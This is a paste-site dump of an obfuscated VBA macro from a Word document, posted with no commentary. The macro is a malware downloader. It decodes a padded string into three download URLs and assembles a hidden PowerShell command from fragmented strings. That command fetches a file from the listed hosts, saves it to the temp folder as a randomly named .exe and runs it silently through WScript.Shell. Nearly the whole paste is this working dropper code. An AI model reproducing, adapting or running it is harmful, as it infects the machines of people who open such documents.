Advertisement
Guest User

Untitled

a guest
Feb 23rd, 2019
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.06 KB | None | 0 0
  1. Attribute VB_Name = "ThisDocument"
  2. tribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9.  
  10.  
  11.  
  12. Dim gyoEtjsVKarhPbkq
  13. gyoEtjsVKarhPbkq = "piBjIwypVXxB"
  14. lgczLPOJlbyvFuRyYnpBhkZb (gyoEtjsVKarhPbkq)
  15. End Sub
  16.  
  17. Function NPOCIrXGZiHwY()
  18. Dim EXYFFzrcdotFqdz
  19. EXYFFzrcdotFqdz = "$qcVYBGR = 'hnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrgnXFronXFrknXFrenXFrenXFrnnXFranXFrknXFrtnXFrenXFr.nXFrtnXFronXFrpnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrvnXFrinXFrdnXFrenXFronXFranXFrnnXFranXFrlnXFrynXFrsnXFrtnXFrenXFrsnXFr.nXFrwnXFrenXFrbnXFrcnXFranXFrmnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrpnXFrhnXFronXFrtnXFronXFrgnXFrrnXFranXFrpnXFrhnXFrynXFrpnXFronXFrinXFrnnXFrtnXFrenXFrrnXFr.nXFrmnXFrenXFrnnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1' -re" + "place 'nXFr', '';"
  20. NPOCIrXGZiHwY = EXYFFzrcdotFqdz
  21. End Function
  22.  
  23. Function OCHkNFkDGVtHVAQgkAeQTfUm()
  24. Dim AsFmAalkqsGV
  25. AsFmAalkqsGV = "$bgkEHeJDiO = $qcVYBGR.Sp" + "lit(',');$dRdkqYLYer = $eLcL.next(1, 65536);$nmLnTiCn = $env:te" + "mp + '\' + $dRdkqYLYer + '.exe';for" + "each($crvyHl in $bgkEHeJDiO){try{$mYRg.Down" + "loadFile($crvyHl.ToS" + "tring(), $nmLnTiCn);S" + "tart-Pro" + "cess $nmLnTiCn;break;}catch{write-host $_.Exce" + "ption.Me" + "ssage;}}"
  26. OCHkNFkDGVtHVAQgkAeQTfUm = AsFmAalkqsGV
  27. End Function
  28.  
  29. Function lgczLPOJlbyvFuRyYnpBhkZb(IVhVynCHwZRz)
  30. Dim ojbYzLWbiTK
  31. Dim qETIjefSpE
  32. Dim TmZouuYApDKTLFfrDLvibAbw
  33. qETIjefSpE = NPOCIrXGZiHwY()
  34. TmZouuYApDKTLFfrDLvibAbw = OCHkNFkDGVtHVAQgkAeQTfUm()
  35. ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m; "
  36. CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
  37. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement